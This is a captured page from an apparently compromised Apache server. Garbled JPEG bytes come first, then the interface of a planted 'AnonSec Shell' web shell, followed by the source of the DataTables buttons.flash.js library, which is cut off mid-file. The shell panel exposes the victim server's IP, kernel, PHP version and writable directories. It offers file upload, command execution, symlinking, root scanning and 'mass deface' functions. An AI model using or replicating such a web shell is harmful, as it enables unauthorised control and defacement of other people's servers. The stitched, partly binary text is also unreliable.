JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 20.75.53.88  /  Your IP : 216.73.217.165   [ Reverse IP ]
Web Server : Apache
System : Linux VMRALP-3 4.4.0-256-generic #290~14.04.1-Ubuntu SMP Thu Jun 20 09:24:50 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29+esm15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Domains : 3 Domains
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/siac/maracanau/components/datatables/extensions/Buttons/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/html/siac/maracanau/components/datatables/extensions/Buttons/js/buttons.flash.js
/*!
 * Flash export buttons for Buttons and DataTables.
 * 2015 SpryMedia Ltd - datatables.net/license
 *
 * ZeroClipbaord - MIT license
 * Copyright (c) 2012 Joseph Huckaby
 */

(function (factory) {
    if (typeof define === 'function' && define.amd) {
        // AMD
        define(['jquery', 'datatables.net', 'datatables.net-buttons'], function ($) {
            return factory($, window, document);
        });
    }
    else if (typeof exports === 'object') {
        // CommonJS
        module.exports = function (root, $) {
            if (!root) {
                root = window;
            }

            if (!$ || !$.fn.dataTable) {
                $ = require('datatables.net')(root, $).$;
            }

            if (!$.fn.dataTable.Buttons) {
                require('datatables.net-buttons')(root, $);
            }

            return factory($, root, root.document);
        };
    }
    else {
        // Browser
        factory(jQuery, window, document);
    }
}(function ($, window, document, undefined) {
    'use strict';
    var DataTable = $.fn.dataTable;


    /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
     * ZeroClipboard dependency
     */

    /*
     * ZeroClipboard 1.0.4 with modifications
     * Author: Joseph Huckaby
     * License: MIT
     *
     * Copyright (c) 2012 Joseph Huckaby
     */
    var ZeroClipboard_TableTools = {
        version: "1.0.4-TableTools2",
        clients: {}, // registered upload clients on page, indexed by id
        moviePath: '', // URL to movie
        nextId: 1, // ID of next movie

        $: function (thingy) {
            // simple DOM lookup utility function
            if (typeof(thingy) == 'string') {
                thingy = document.getElementById(thingy);
            }
            if (!thingy.addClass) {
                // extend element with a few useful methods
                thingy.hide        = function () {
                    this.style.display = 'none';
                };
                thingy.show        = function () {
                    this.style.display = '';
                };
                thingy.addClass    = function (name) {
                    this.removeClass(name);
                    this.className += ' ' + name;
                };
                thingy.removeClass = function (name) {
                    this.className = this.className.replace(new RegExp("\\s*" + name + "\\s*"), " ").replace(/^\s+/, '').replace(/\s+$/, '');
                };
                thingy.hasClass    = function (name) {
                    return !!this.className.match(new RegExp("\\s*" + name + "\\s*"));
                };
            }
            return thingy;
        },

        setMoviePath: function (path) {
            // set path to ZeroClipboard.swf
            this.moviePath = path;
        },

        dispatch: function (id, eventName, args) {
            // receive event from flash movie, send to client
            var client = this.clients[id];
            if (client) {
                client.receiveEvent(eventName, args);
            }
        },

        log: function (str) {
            console.log('Flash: ' + str);
        },

        register: function (id, client) {
            // register new client to receive events
            this.clients[id] = client;
        },

        getDOMObjectPosition: function (obj) {
            // get absolute coordinates for dom element
            var info = {
                left: 0,
                top: 0,
                width: obj.width ? obj.width : obj.offsetWidth,
                height: obj.height ? obj.height : obj.offsetHeight
            };

            if (obj.style.width !== "") {
                info.width = obj.style.width.replace("px", "");
            }

            if (obj.style.height !== "") {
                info.height = obj.style.height.replace("px", "");
            }

            while (obj) {
                info.left += obj.offsetLeft;
                info.top += obj.offsetTop;
                obj = obj.offsetParent;
            }

            return info;
        },

        Client: function (elem) {
            // constructor for new simple upload client
            this.handlers = {};

            // unique ID
            this.id      = ZeroClipboard_TableTools.nextId++;
            this.movieId = 'ZeroClipboard_TableToolsMovie_' + this.id;

            // register client with singleton to receive flash events
            ZeroClipboard_TableTools.register(this.id, this);

            // create movie
            if (elem) {
                this.glue(elem);
            }
        }
    };

    ZeroClipboard_TableTools.Client.prototype = {

        id: 0, // unique ID for us
        ready: false, // whether movie is ready to receive events or not
        movie: null, // reference to movie object
        clipText: '', // text to copy to clipboard
        fileName: '', // default file save name
        action: 'copy', // action to perform
        handCursorEnabled: true, // whether to show hand cursor, or default pointer cursor
        cssEffects: true, // enable CSS mouse effects on dom container
        handlers: null, // user event handlers
        sized: false,
        sheetName: '', // default sheet name for excel export

        glue: function (elem, title) {
            // glue to DOM element
            // elem can be ID or actual DOM element object
            this.domElement = ZeroClipboard_TableTools.$(elem);

            // float just above object, or zIndex 99 if dom element isn't set
            var zIndex = 99;
            if (this.domElement.style.zIndex) {
                zIndex = parseInt(this.domElement.style.zIndex, 10) + 1;
            }

            // find X/Y position of domElement
            var box = ZeroClipboard_TableTools.getDOMObjectPosition(this.domElement);

            // create floating DIV above element
            this.div       = document.createElement('div');
            var style      = this.div.style;
            style.position = 'absolute';
            style.left     = '0px';
            style.top      = '0px';
            style.width    = (box.width) + 'px';
            style.height   = box.height + 'px';
            style.zIndex   = zIndex;

            if (typeof title != "undefined" && title !== "") {
                this.div.title = title;
            }
            if (box.width !== 0 && box.height !== 0) {
                this.sized = true;
            }

            // style.backgroundColor = '#f00'; // debug
            if (this.domElement) {
                this.domElement.appendChild(this.div);
                this.div.innerHTML = this.getHTML(box.width, box.height).replace(/&/g, '&amp;');
            }
        },

        positionElement: function () {
            var box   = ZeroClipboard_TableTools.getDOMObjectPosition(this.domElement);
            var style = this.div.style;

            style.position = 'absolute';
            //style.left = (this.domElement.offsetLeft)+'px';
            //style.top = this.domElement.offsetTop+'px';
            style.width  = box.width + 'px';
            style.height = box.height + 'px';

            if (box.width !== 0 && box.height !== 0) {
                this.sized = true;
            } else {
                return;
            }

            var flash    = this.div.childNodes[0];
            flash.width  = box.width;
            flash.height = box.height;
        },

        getHTML: function (width, height) {
            // return HTML for movie
            var html      = '';
            var flashvars = 'id=' + this.id +
                '&width=' + width +
                '&height=' + height;

            if (navigator.userAgent.match(/MSIE/)) {
                // IE gets an OBJECT tag
                var protocol = location.href.match(/^https/i) ? 'https://' : 'http://';
                html += '<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="' + protocol + 'download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=10,0,0,0" width="' + width + '" height="' + height + '" id="' + this.movieId + '" align="middle"><param name="allowScriptAccess" value="always" /><param name="allowFullScreen" value="false" /><param name="movie" value="' + ZeroClipboard_TableTools.moviePath + '" /><param name="loop" value="false" /><param name="menu" value="false" /><param name="quality" value="best" /><param name="bgcolor" value="#ffffff" /><param name="flashvars" value="' + flashvars + '"/><param name="wmode" value="transparent"/></object>';
            }
            else {
                // all other browsers get an EMBED tag
                html += '<embed id="' + this.movieId + '" src="' + ZeroClipboard_TableTools.moviePath + '" loop="false" menu="false" quality="best" bgcolor="#ffffff" width="' + width + '" height="' + height + '" name="' + this.movieId + '" align="middle" allowScriptAccess="always" allowFullScreen="false" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" flashvars="' + flashvars + '" wmode="transparent" />';
            }
            return html;
        },

        hide: function () {
            // temporarily hide floater offscreen
            if (this.div) {
                this.div.style.left = '-2000px';
            }
        },

        show: function () {
            // show ourselves after a call to hide()
            this.reposition();
        },

        destroy: function () {
            // destroy control and floater
            var that = this;

            if (this.domElement && this.div) {
                $(this.div).remove();

                this.domElement = null;
                this.div        = null;

                $.each(ZeroClipboard_TableTools.clients, function (id, client) {
                    if (client === that) {
                        delete ZeroClipboard_TableTools.clients[id];
                    }
                });
            }
        },

        reposition: function (elem) {
            // reposition our floating div, optionally to new container
            // warning: container CANNOT change size, only position
            if (elem) {
                this.domElement = ZeroClipboard_TableTools.$(elem);
                if (!this.domElement) {
                    this.hide();
                }
            }

            if (this.domElement && this.div) {
                var box    = ZeroClipboard_TableTools.getDOMObjectPosition(this.domElement);
                var style  = this.div.style;
                style.left = '' + box.left + 'px';
                style.top  = '' + box.top + 'px';
            }
        },

        clearText: function () {
            // clear the text to be copy / saved
            this.clipText = '';
            if (this.ready) {
                this.movie.clearText();
            }
        },

        appendText: function (newText) {
            // append text to that which is to be copied / saved
            this.clipText += newText;
            if (this.ready) {
                this.movie.appendText(newText);
            }
        },

        setText: function (newText) {
            // set text to be copied to be copied / saved
            this.clipText = newText;
            if (this.ready) {
                this.movie.setText(newText);
            }
        },

        setFileName: function (newText) {
            // set the file name
            this.fileName = newText;
            if (this.ready) {
                this.movie.setFileName(newText);
            }
        },

        setSheetData: function (data) {
            // set the xlsx sheet data
            if (this.ready) {
                this.movie.setSheetData(JSON.stringify(data));
            }
        },

        setAction: function (newText) {
            // set action (save or copy)
            this.action = newText;
            if (this.ready) {
                this.movie.setAction(newText);
            }
        },

        addEventListener: function (eventName, func) {
            // add user event listener for event
            // event types: load, queueStart, fileStart, fileComplete, queueComplete, progress, error, cancel
            eventName = eventName.toString().toLowerCase().replace(/^on/, '');
            if (!this.handlers[eventName]) {
                this.handlers[eventName] = [];
            }
            this.handlers[eventName].push(func);
        },

        setHandCursor: function (enabled) {
            // enable hand cursor (true), or default arrow cursor (false)
            this.handCursorEnabled = enabled;
            if (this.ready) {
                this.movie.setHandCursor(enabled);
            }
        },

        setCSSEffects: function (enabled) {
            // enable or disable CSS effects on DOM container
            this.cssEffects = !!enabled;
        },

        receiveEvent: function (eventName, args) {
            var self;

            // receive event from flash
            eventName = eventName.toString().toLowerCase().replace(/^on/, '');

            // special behavior for certain events
            switch (eventName) {
                case 'load':
                    // movie claims it is ready, but in IE this isn't always the case...
                    // bug fix: Cannot extend EMBED DOM elements in Firefox, must use traditional function
                    this.movie = document.getElementById(this.movieId);
                    if (!this.movie) {
                        self = this;
                        setTimeout(function () {
                            self.receiveEvent('load', null);
                        }, 1);
                        return;
                    }

                    // firefox on pc needs a "kick" in order to set these in certain cases
                    if (!this.ready && navigator.userAgent.match(/Firefox/) && navigator.userAgent.match(/Windows/)) {
                        self = this;
                        setTimeout(function () {
                            self.receiveEvent('load', null);
                        }, 100);
                        this.ready = true;
                        return;
                    }

                    this.ready = true;
                    this.movie.clearText();
                    this.movie.appendText(this.clipText);
                    this.movie.setFileName(this.fileName);
                    this.movie.setAction(this.action);
                    this.movie.setHandCursor(this.handCursorEnabled);
                    break;

                case 'mouseover':
                    if (this.domElement && this.cssEffects) {
                        //this.domElement.addClass('hover');
                        if (this.recoverActive) {
                            this.domElement.addClass('active');
                        }
                    }
                    break;

                case 'mouseout':
                    if (this.domElement && this.cssEffects) {
                        this.recoverActive = false;
                        if (this.domElement.hasClass('active')) {
                            this.domElement.removeClass('active');
                            this.recoverActive = true;
                        }
                        //this.domElement.removeClass('hover');
                    }
                    break;

                case 'mousedown':
                    if (this.domElement && this.cssEffects) {
                        this.domElement.addClass('active');
                    }
                    break;

                case 'mouseup':
                    if (this.domElement && this.cssEffects) {
                        this.domElement.removeClass('active');
                        this.recoverActive = false;
                    }
                    break;
            } // switch eventName

            if (this.handlers[eventName]) {
                for (var idx = 0, len = this.handlers[eventName].length; idx < len; idx++) {
                    var func = this.handlers[eventName][idx];

                    if (typeof(func) == 'function') {
                        // actual function reference
                        func(this, args);
                    }
                    else if ((typeof(func) == 'object') && (func.length == 2)) {
                        // PHP style object + method, i.e. [myObject, 'myMethod']
                        func[0][func[1]](this, args);
                    }
                    else if (typeof(func) == 'string') {
                        // name of function
                        window[func](this, args);
                    }
                } // foreach event handler defined
            } // user defined handler for event
        }
    };

    ZeroClipboard_TableTools.hasFlash = function () {
        try {
            var fo = new ActiveXObject('ShockwaveFlash.ShockwaveFlash');
            if (fo) {
                return true;
            }
        }
        catch (e) {
            if (
                navigator.mimeTypes &&
                navigator.mimeTypes['application/x-shockwave-flash'] !== undefined &&
                navigator.mimeTypes['application/x-shockwave-flash'].enabledPlugin
            ) {
                return true;
            }
        }

        return false;
    };

// For the Flash binding to work, ZeroClipboard_TableTools must be on the global
// object list
    window.ZeroClipboard_TableTools = ZeroClipboard_TableTools;


    /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
     * Local (private) functions
     */

    /**
     * If a Buttons instance is initlaised before it is placed into the DOM, Flash
     * won't be able to bind to it, so we need to wait until it is available, this
     * method abstracts that out.
     *
     * @param {ZeroClipboard} flash ZeroClipboard instance
     * @param {jQuery} node  Button
     */
    var _glue = function (flash, node) {
        var id = node.attr('id');

        if (node.parents('html').length) {
            flash.glue(node[0], '');
        }
        else {
            setTimeout(function () {
                _glue(flash, node);
            }, 500);
        }
    };

    /**
     * Get the file name for an exported file.
     *
     * @param {object}  config       Button configuration
     * @param {boolean} incExtension Include the file name extension
     */
    var _filename = function (config, incExtension) {
        // Backwards compatibility
        var filename = config.filename === '*' && config.title !== '*' && config.title !== undefined ?
            config.title :
            config.filename;

        if (typeof filename === 'function') {
            filename = filename();
        }

        if (filename.indexOf('*') !== -1) {
            filename = $.trim(filename.replace('*', $('title').text()));
        }

        // Strip characters which the OS will object to
        filename = filename.replace(/[^a-zA-Z0-9_\u00A1-\uFFFF\.,\-_ !\(\)]/g, "");

        return incExtension === undefined || incExtension === true ?
            filename + config.extension :
            filename;
    };

    /**
     * Get the sheet name for Excel exports.
     *
     * @param {object}  config       Button configuration
     */
    var _sheetname = function (config) {
        var sheetName = 'Sheet1';

        if (config.sheetName) {
            sheetName = config.sheetName.replace(/[\[\]\*\/\\\?\:]/g, '');
        }

        return sheetName;
    };

    /**
     * Get the title for an exported file.
     *
     * @param {object}  config  Button configuration
     */
    var _title = function (config) {
        var title = config.title;

        if (typeof title === 'function') {
            title = title();
        }

        return title.indexOf('*') !== -1 ?
            title.replace('*', $('title').text() || 'Exported data') :
            title;
    };

    /**
     * Set the flash text. This has to be broken up into chunks as the Javascript /
     * Flash bridge has a size limit. There is no indication in the Flash
     * documentation what this is, and it probably depends upon the browser.
     * Experimentation shows that the point is around 50k when data starts to get
     * lost, so an 8K limit used here is safe.
     *
     * @param {ZeroClipboard} flash ZeroClipboard instance
     * @param {string}        data  Data to send to Flash
     */
    var _setText = function (flash, data) {
        var parts = data.match(/[\s\S]{1,8192}/g) || [];

        flash.clearText();
        for (var i = 0, len = parts.length; i < len; i++) {
            flash.appendText(parts[i]);
        }
    };

    /**
     * Get the newline character(s)
     *
     * @param {object}  config Button configuration
     * @return {string}        Newline character
     */
    var _newLine = function (config) {
        return config.newline ?
            config.newline :
            navigator.userAgent.match(/Windows/) ?
                '\r\n' :
                '\n';
    };

    /**
     * Combine the data from the `buttons.exportData` method into a string that
     * will be used in the export file.
     *
     * @param  {DataTable.Api} dt     DataTables API instance
     * @param  {object}        config Button configuration
     * @return {object}               The data to export
     */
    var _exportData = function (dt, config) {
        var newLine    = _newLine(config);
        var data       = dt.buttons.exportData(config.exportOptions);
        var boundary   = config.fieldBoundary;
        var separator  = config.fieldSeparator;
        var reBoundary = new RegExp(boundary, 'g');
        var escapeChar = config.escapeChar !== undefined ?
            config.escapeChar :
            '\\';
        var join       = function (a) {
            var s = '';

            // If there is a field boundary, then we might need to escape it in
            // the source data
            for (var i = 0, ien = a.length; i < ien; i++) {
                if (i > 0) {
                    s += separator;
                }

                s += boundary ?
                    boundary + ('' + a[i]).replace(reBoundary, escapeChar + boundary) + boundary :
                    a[i];
            }

            return s;
        };

        var header = config.header ? join(data.header) + newLine : '';
        var footer = config.footer && data.footer ? newLine + join(data.footer) : '';
        var body   = [];

        for (var i = 0, ien = data.body.length; i < ien; i++) {
            body.push(join(data.body[i]));
        }

        return {
            str: header + body.join(newLine) + footer,
            rows: body.length
        };
    };


// Basic initialisation for the buttons is common between them
    var flashButton = {
        available: function () {
            return ZeroClipboard_TableTools.hasFlash();
        },

        init: function (dt, button, config) {
            // Insert the Flash movie
            ZeroClipboard_TableTools.moviePath = DataTable.Buttons.swfPath;
            var flash                          = new ZeroClipboard_TableTools.Client();

            flash.setHandCursor(true);
            flash.addEventListener('mouseDown', function (client) {
                config._fromFlash = true;
                dt.button(button[0]).trigger();
                config._fromFlash = false;
            });

            _glue(flash, button);

            config._flash = flash;
        },

        destroy: function (dt, button, config) {
            config._flash.destroy();
        },

        fieldSeparator: ',',

        fieldBoundary: '"',

        exportOptions: {},

        title: '*',

        filename: '*',

        extension: '.csv',

        header: true,

        footer: false
    };


    /**
     * Convert from numeric position to letter for column names in Excel
     * @param  {int} n Column number
     * @return {string} Column letter(s) name
     */
    function createCellPos(n) {
        var ordA = 'A'.charCodeAt(0);
        var ordZ = 'Z'.charCodeAt(0);
        var len  = ordZ - ordA + 1;
        var s    = "";

        while (n >= 0) {
            s = String.fromCharCode(n % len + ordA) + s;
            n = Math.floor(n / len) - 1;
        }

        return s;
    }

    /**
     * Create an XML node and add any children, attributes, etc without needing to
     * be verbose in the DOM.
     *
     * @param  {object} doc      XML document
     * @param  {string} nodeName Node name
     * @param  {object} opts     Options - can be `attr` (attributes), `children`
     *   (child nodes) and `text` (text content)
     * @return {node}            Created node
     */
    function _createNode(doc, nodeName, opts) {
        var tempNode = doc.createElement(nodeName);

        if (opts) {
            if (opts.attr) {
                $(tempNode).attr(opts.attr);
            }

            if (opts.children) {
                $.each(opts.children, function (key, value) {
                    tempNode.appendChild(value);
                });
            }

            if (opts.text) {
                tempNode.appendChild(doc.createTextNode(opts.text));
            }
        }

        return tempNode;
    }

    /**
     * Get the width for an Excel column based on the contents of that column
     * @param  {object} data Data for export
     * @param  {int}    col  Column index
     * @return {int}         Column width
     */
    function _excelColWidth(data, col) {
        var max = data.header[col].length;
        var len, lineSplit, str;

        if (data.footer && data.footer[col].length > max) {
            max = data.footer[col].length;
        }

        for (var i = 0, ien = data.body.length; i < ien; i++) {
            var point = data.body[i][col];
            str       = point !== null && point !== undefined ?
                point.toString() :
                '';

            // If there is a newline character, workout the width of the column
            // based on the longest line in the string
            if (str.indexOf('\n') !== -1) {
                lineSplit = str.split('\n');
                lineSplit.sort(function (a, b) {
                    return b.length - a.length;
                });

                len = lineSplit[0].length;
            }
            else {
                len = str.length;
            }

            if (len > max) {
                max = len;
            }

            // Max width rather than having potentially massive column widths
            if (max > 40) {
                return 52; // 40 * 1.3
            }
        }

        max *= 1.3;

        // And a min width
        return max > 6 ? max : 6;
    }

    var _serialiser = "";
    if (typeof window.XMLSerializer === 'undefined') {
        _serialiser = new function () {
            this.serializeToString = function (input) {
                return input.xml
            }
        };
    } else {
        _serialiser = new XMLSerializer();
    }

    var _ieExcel;


    /**
     * Convert XML documents in an object to strings
     * @param  {object} obj XLSX document object
     */
    function _xlsxToStrings(obj) {
        if (_ieExcel === undefined) {
            // Detect if we are dealing with IE's _awful_ serialiser by seeing if it
            // drop attributes
            _ieExcel = _serialiser
                .serializeToString(
                    $.parseXML(excelStrings['xl/worksheets/sheet1.xml'])
                )
                .indexOf('xmlns:r') === -1;
        }

        $.each(obj, function (name, val) {
            if ($.isPlainObject(val)) {
                _xlsxToStrings(val);
            }
            else {
                if (_ieExcel) {
                    // IE's XML serialiser will drop some name space attributes from
                    // from the root node, so we need to save them. Do this by
                    // replacing the namespace nodes with a regular attribute that
                    // we convert back when serialised. Edge does not have this
                    // issue
                    var worksheet = val.childNodes[0];
                    var i, ien;
                    var attrs     = [];

                    for (i = worksheet.attributes.length - 1; i >= 0; i--) {
                        var attrName  = worksheet.attributes[i].nodeName;
                        var attrValue = worksheet.attributes[i].nodeValue;

                        if (attrName.indexOf(':') !== -1) {
                            attrs.push({name: attrName, value: attrValue});

                            worksheet.removeAttribute(attrName);
                        }
                    }

                    for (i = 0, ien = attrs.length; i < ien; i++) {
                        var attr   = val.createAttribute(attrs[i].name.replace(':', '_dt_b_namespace_token_'));
                        attr.value = attrs[i].value;
                        worksheet.setAttributeNode(attr);
                    }
                }

                var str = _serialiser.serializeToString(val);

                // Fix IE's XML
                if (_ieExcel) {
                    // IE doesn't include the XML declaration
                    if (str.indexOf('<?xml') === -1) {
                        str = '<?xml version="1.0" encoding="UTF-8" standalone="yes"?>' + str;
                    }

                    // Return namespace attributes to being as such
                    str = str.replace(/_dt_b_namespace_token_/g, ':');
                }

                // Safari, IE and Edge will put empty name space attributes onto
                // various elements making them useless. This strips them out
                str = str.replace(/<([^<>]*?) xmlns=""([^<>]*?)>/g, '<$1 $2>');

                obj[name] = str;
            }
        });
    }

// Excel - Pre-defined strings to build a basic XLSX file
    var excelStrings = {
        "_rels/.rels":
        '<?xml version="1.0" encoding="UTF-8" standalone="yes"?>' +
        '<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">' +
        '<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/>' +
        '</Relationships>',

        "xl/_rels/workbook.xml.rels":
        '<?xml version="1.0" encoding="UTF-8" standalone="yes"?>' +
        '<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">' +
        '<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/>' +
        '<Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/styles" Target="styles.xml"/>' +
        '</Relationships>',

        "[Content_Types].xml":
        '<?xml version="1.0" encoding="UTF-8" standalone="yes"?>' +
        '<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">' +
        '<Default Extension="xml" ContentType="application/xml" />' +
        '<Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml" />' +
        '<Default Extension="jpeg" ContentType="image/jpeg" />' +
        '<Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml" />' +
        '<Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml" />' +
        '<Override PartName="/xl/styles.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.styles+xml" />' +
        '</Types>',

        "xl/workbook.xml":
        '<?xml version="1.0" encoding="UTF-8" standalone="yes"?>' +
        '<workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">' +
        '<fileVersion appName="xl" lastEdited="5" lowestEdited="5" rupBuild="24816"/>' +
        '<workbookPr showInkAnnotation="0" autoCompressPictures="0"/>' +
        '<bookViews>' +
        '<workbookView xWindow="0" yWindow="0" windowWidth="25600" windowHeight="19020" tabRatio="500"/>' +
        '</bookViews>' +
        '<sheets>' +
        '<sheet name="" sheetId="1" r:id="rId1"/>' +
        '</sheets>' +
        '</workbook>',

        "xl/worksheets/sheet1.xml":
        '<?xml version="1.0" encoding="UTF-8" standalone="yes"?>' +
        '<worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac">' +
        '<sheetData/>' +
        '</worksheet>',

        "xl/styles.xml":
        '<?xml version="1.0" encoding="UTF-8"?>' +
        '<styleSheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac">' +
        '<numFmts count="6">' +
        '<numFmt numFmtId="164" formatCode="#,##0.00_-\ [$$-45C]"/>' +
        '<numFmt numFmtId="165" formatCode="&quot;£&quot;#,##0.00"/>' +
        '<numFmt numFmtId="166" formatCode="[$€-2]\ #,##0.00"/>' +
        '<numFmt numFmtId="167" formatCode="0.0%"/>' +
        '<numFmt numFmtId="168" formatCode="#,##0;(#,##0)"/>' +
        '<numFmt numFmtId="169" formatCode="#,##0.00;(#,##0.00)"/>' +
        '</numFmts>' +
        '<fonts count="5" x14ac:knownFonts="1">' +
        '<font>' +
        '<sz val="11" />' +
        '<name val="Calibri" />' +
        '</font>' +
        '<font>' +
        '<sz val="11" />' +
        '<name val="Calibri" />' +
        '<color rgb="FFFFFFFF" />' +
        '</font>' +
        '<font>' +
        '<sz val="11" />' +
        '<name val="Calibri" />' +
        '<b />' +
        '</font>' +
        '<font>' +
        '<sz val="11" />' +
        '<name val="Calibri" />' +
        '<i />' +
        '</font>' +
        '<font>' +
        '<sz val="11" />' +
        '<name val="Calibri" />' +
        '<u />' +
        '</font>' +
        '</fonts>' +
        '<fills count="6">' +
        '<fill>' +
        '<patternFill patternType="none" />' +
        '</fill>' +
        '<fill/>' + // Excel appears to use this as a dotted background regardless of values
        '<fill>' +
        '<patternFill patternType="solid">' +
        '<fgColor rgb="FFD9D9D9" />' +
        '<bgColor indexed="64" />' +
        '</patternFill>' +
        '</fill>' +
        '<fill>' +
        '<patternFill patternType="solid">' +
        '<fgColor rgb="FFD99795" />' +
        '<bgColor indexed="64" />' +
        '</patternFill>' +
        '</fill>' +
        '<fill>' +
        '<patternFill patternType="solid">' +
        '<fgColor rgb="ffc6efce" />' +
        '<bgColor indexed="64" />' +
        '</patternFill>' +
        '</fill>' +
        '<fill>' +
        '<patternFill patternType="solid">' +
        '<fgColor rgb="ffc6cfef" />' +
        '<bgColor indexed="64" />' +
        '</patternFill>' +
        '</fill>' +
        '</fills>' +
        '<borders count="2">' +
        '<border>' +
        '<left />' +
        '<right />' +
        '<top />' +
        '<bottom />' +
        '<diagonal />' +
        '</border>' +
        '<border diagonalUp="false" diagonalDown="false">' +
        '<left style="thin">' +
        '<color auto="1" />' +
        '</left>' +
        '<right style="thin">' +
        '<color auto="1" />' +
        '</right>' +
        '<top style="thin">' +
        '<color auto="1" />' +
        '</top>' +
        '<bottom style="thin">' +
        '<color auto="1" />' +
        '</bottom>' +
        '<diagonal />' +
        '</border>' +
        '</borders>' +
        '<cellStyleXfs count="1">' +
        '<xf numFmtId="0" fontId="0" fillId="0" borderId="0" />' +
        '</cellStyleXfs>' +
        '<cellXfs count="61">' +
        '<xf numFmtId="0" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="1" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="2" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="3" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="4" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="0" fillId="2" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="1" fillId="2" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="2" fillId="2" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="3" fillId="2" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="4" fillId="2" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="0" fillId="3" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>' +
